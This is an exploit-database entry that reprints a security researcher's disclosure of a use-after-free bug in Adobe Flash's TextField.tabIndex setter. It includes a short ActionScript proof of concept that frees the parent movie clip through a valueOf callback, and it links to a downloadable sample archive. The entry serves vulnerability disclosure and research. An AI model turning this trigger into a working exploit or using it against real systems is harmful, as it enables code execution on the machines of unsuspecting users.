Adobe Flash TextField.tabIndex Setter - Use-After-Free

2015-12-18 23:05:42

Source: https://code.google.com/p/google-security-research/issues/detail?id=574

There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};

function func(){
if(times == 0){
times++;
return;
}
mc.removeMovieClip();

// Fix heap here

return 0x77777777;

}

A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39054.zip

Fixes

No fixes

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